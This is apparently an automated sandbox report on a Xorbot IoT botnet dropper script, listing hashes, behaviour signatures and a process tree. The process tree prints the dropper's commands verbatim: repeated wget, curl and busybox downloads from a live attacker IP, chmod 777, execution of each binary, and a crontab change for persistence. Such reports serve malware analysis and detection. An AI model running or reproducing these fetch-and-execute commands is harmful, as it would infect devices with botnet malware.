Analysis

  • max time kernel
    130s
  • max time network
    150s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    21-02-2025 02:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    908f28c4ebdeb696d86b93f4afb9cb73

  • SHA1

    3415ecd1724d4da877740685a580688f56330561

  • SHA256

    dca697bba35dd8ce268263754e049b79821084c2a0c64ed556c66902721e8619

  • SHA512

    c826bb3910c158b873f9683474c490e9d8b136294af8b3fce33d8ff09bc28ba936424c36614c02f5c067325029b0170c34183f118ed30ca9197f1f17897f2f63

  • SSDEEP

    96:WK/D/f/a/p/Z/uTW6SXA2hUPCNNSLDdowLGipNtsHrfzRzxz2znzjz6cIt9zzRzu:WGlTNtsHr75Zkz36cIv5Zkz3VNtsHrS

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1539) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:719
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:723
      • /usr/bin/wget
        wget http://37.44.238.88/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
        2⤵
        • Writes file to tmp directory
        PID:728
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
        2⤵
        • Writes file to tmp directory
        PID:742
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
        2⤵
        • Writes file to tmp directory
        PID:749
      • /bin/chmod
        chmod 777 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
        2⤵
        • File and Directory Permissions Modification
        PID:751
      • /tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
        ./8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
        2⤵
          PID:752
        • /bin/rm
          rm 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
          2⤵
            PID:754
          • /usr/bin/wget
            wget http://37.44.238.88/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
            2⤵
            • Writes file to tmp directory
            PID:755
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
            2⤵
            • Writes file to tmp directory
            PID:757
          • /bin/chmod
            chmod 777 iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
            2⤵
            • File and Directory Permissions Modification
            PID:758
          • /tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
            ./iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
            2⤵
              PID:759
            • /bin/rm
              rm iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
              2⤵
                PID:761
              • /usr/bin/wget
                wget http://37.44.238.88/bins/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
                2⤵
                • Writes file to tmp directory
                PID:762
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
                2⤵
                • Writes file to tmp directory
                PID:778
              • /bin/chmod
                chmod 777 xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
                2⤵
                • File and Directory Permissions Modification
                PID:781
              • /tmp/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
                ./xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
                2⤵
                  PID:782
                • /bin/rm
                  rm xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6
                  2⤵
                    PID:786
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC
                    2⤵
                    • Writes file to tmp directory
                    PID:787
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC
                    2⤵
                    • Writes file to tmp directory
                    PID:793
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC
                    2⤵
                    • Writes file to tmp directory
                    PID:803
                  • /bin/chmod
                    chmod 777 RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC
                    2⤵
                    • File and Directory Permissions Modification
                    PID:808
                  • /tmp/RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC
                    ./RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC
                    2⤵
                      PID:810
                    • /bin/rm
                      rm RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC
                      2⤵
                        PID:813
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/fyhIbkmKloSFjOuKHqHSzLGmHhabeDV5uA
                        2⤵
                        • Writes file to tmp directory
                        PID:815
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/fyhIbkmKloSFjOuKHqHSzLGmHhabeDV5uA
                        2⤵
                        • Writes file to tmp directory
                        PID:822
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/fyhIbkmKloSFjOuKHqHSzLGmHhabeDV5uA
                        2⤵
                        • Writes file to tmp directory
                        PID:823
                      • /bin/chmod
                        chmod 777 fyhIbkmKloSFjOuKHqHSzLGmHhabeDV5uA
                        2⤵
                        • File and Directory Permissions Modification
                        PID:824
                      • /tmp/fyhIbkmKloSFjOuKHqHSzLGmHhabeDV5uA
                        ./fyhIbkmKloSFjOuKHqHSzLGmHhabeDV5uA
                        2⤵
                          PID:825
                        • /bin/rm
                          rm fyhIbkmKloSFjOuKHqHSzLGmHhabeDV5uA
                          2⤵
                            PID:827
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/HcPj4SvlEYPpnaL1V8tV8fbEL0GeVyvEQ2
                            2⤵
                            • Writes file to tmp directory
                            PID:828
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/HcPj4SvlEYPpnaL1V8tV8fbEL0GeVyvEQ2
                            2⤵
                            • Writes file to tmp directory
                            PID:829
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/HcPj4SvlEYPpnaL1V8tV8fbEL0GeVyvEQ2
                            2⤵
                            • Writes file to tmp directory
                            PID:830
                          • /bin/chmod
                            chmod 777 HcPj4SvlEYPpnaL1V8tV8fbEL0GeVyvEQ2
                            2⤵
                            • File and Directory Permissions Modification
                            PID:831
                          • /tmp/HcPj4SvlEYPpnaL1V8tV8fbEL0GeVyvEQ2
                            ./HcPj4SvlEYPpnaL1V8tV8fbEL0GeVyvEQ2
                            2⤵
                              PID:832
                            • /bin/rm
                              rm HcPj4SvlEYPpnaL1V8tV8fbEL0GeVyvEQ2
                              2⤵
                                PID:834
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/L5SrDEf0wM5JjRj2QjgsZVVNjuCdzrcsxd
                                2⤵
                                • Writes file to tmp directory
                                PID:835
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/L5SrDEf0wM5JjRj2QjgsZVVNjuCdzrcsxd
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:844
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/L5SrDEf0wM5JjRj2QjgsZVVNjuCdzrcsxd
                                2⤵
                                • Writes file to tmp directory
                                PID:856
                              • /bin/chmod
                                chmod 777 L5SrDEf0wM5JjRj2QjgsZVVNjuCdzrcsxd
                                2⤵
                                • File and Directory Permissions Modification
                                PID:860
                              • /tmp/L5SrDEf0wM5JjRj2QjgsZVVNjuCdzrcsxd
                                ./L5SrDEf0wM5JjRj2QjgsZVVNjuCdzrcsxd
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:861
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:863
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:864
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:867
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          • Reads runtime system information
                                          PID:868
                                    • /bin/rm
                                      rm L5SrDEf0wM5JjRj2QjgsZVVNjuCdzrcsxd
                                      2⤵
                                        PID:876
                                      • /usr/bin/wget
                                        wget http://37.44.238.88/bins/wjqwEEAF53lScg9gySwxEoWVPdVCSvSUqJ
                                        2⤵
                                          PID:879
                                        • /usr/bin/curl
                                          curl -O http://37.44.238.88/bins/wjqwEEAF53lScg9gySwxEoWVPdVCSvSUqJ
                                          2⤵
                                            PID:880
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.88/bins/wjqwEEAF53lScg9gySwxEoWVPdVCSvSUqJ
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:881
                                          • /bin/chmod
                                            chmod 777 wjqwEEAF53lScg9gySwxEoWVPdVCSvSUqJ
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:882
                                          • /tmp/wjqwEEAF53lScg9gySwxEoWVPdVCSvSUqJ
                                            ./wjqwEEAF53lScg9gySwxEoWVPdVCSvSUqJ
                                            2⤵
                                              PID:883
                                            • /bin/rm
                                              rm wjqwEEAF53lScg9gySwxEoWVPdVCSvSUqJ
                                              2⤵
                                                PID:885
                                              • /usr/bin/wget
                                                wget http://37.44.238.88/bins/a1RFxIkpY62XNk3hz16x4R8HJPLVTwiDNb
                                                2⤵
                                                  PID:886

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5

                                                Filesize

                                                119KB

                                                MD5

                                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                                SHA1

                                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                SHA256

                                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                SHA512

                                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                              • /tmp/HcPj4SvlEYPpnaL1V8tV8fbEL0GeVyvEQ2

                                                Filesize

                                                127KB

                                                MD5

                                                89077b7bd4bcafca7713be43635c4862

                                                SHA1

                                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                                SHA256

                                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                SHA512

                                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                              • /tmp/L5SrDEf0wM5JjRj2QjgsZVVNjuCdzrcsxd

                                                Filesize

                                                151KB

                                                MD5

                                                3c90d5820bddcf7c5d1bd21dfa49d958

                                                SHA1

                                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                SHA256

                                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                SHA512

                                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                              • /tmp/RRKFlwJYeJb1sj2t1KqIEquQ8VdXMNtkbC

                                                Filesize

                                                98KB

                                                MD5

                                                5141342d0df8699fa32a6b066a0c592e

                                                SHA1

                                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                SHA256

                                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                SHA512

                                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                              • /tmp/fyhIbkmKloSFjOuKHqHSzLGmHhabeDV5uA

                                                Filesize

                                                111KB

                                                MD5

                                                701e7a55a4f3650f5feee92a9860e5fc

                                                SHA1

                                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                SHA256

                                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                SHA512

                                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                              • /tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8

                                                Filesize

                                                107KB

                                                MD5

                                                eb9c3a0de91fcf16ba17cb24608df68c

                                                SHA1

                                                09d95a7d70d5e115d103be51edff7c498d272fac

                                                SHA256

                                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                SHA512

                                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                              • /tmp/wjqwEEAF53lScg9gySwxEoWVPdVCSvSUqJ

                                                Filesize

                                                117KB

                                                MD5

                                                849fa04ef88a8e8de32cb2e8538de5fe

                                                SHA1

                                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                SHA256

                                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                SHA512

                                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                              • /tmp/xcjVnHbLT4Bv8d6uaeXi8o5rOGPM95jhy6

                                                Filesize

                                                112KB

                                                MD5

                                                05d7857dcead18bbd86d2935f591873c

                                                SHA1

                                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                SHA256

                                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                SHA512

                                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                              • /var/spool/cron/crontabs/tmp.zT0nLe

                                                Filesize

                                                210B

                                                MD5

                                                9ff7729078ea9c7238bd30856f912001

                                                SHA1

                                                c48915546db693d65f2c25c4c226d31e70a8a671

                                                SHA256

                                                8062c8ad81d58fcacf19995da1f3bed627b01d599cd7b433cdc908b832d89264

                                                SHA512

                                                a970ec51ff19c33d49a27066c9fe86a210c2fa75dba4281040e63f2c6f4fa1f2686e55acebfee40ae57012f4e648b89eda3990e962feef0a691e40d8e17723db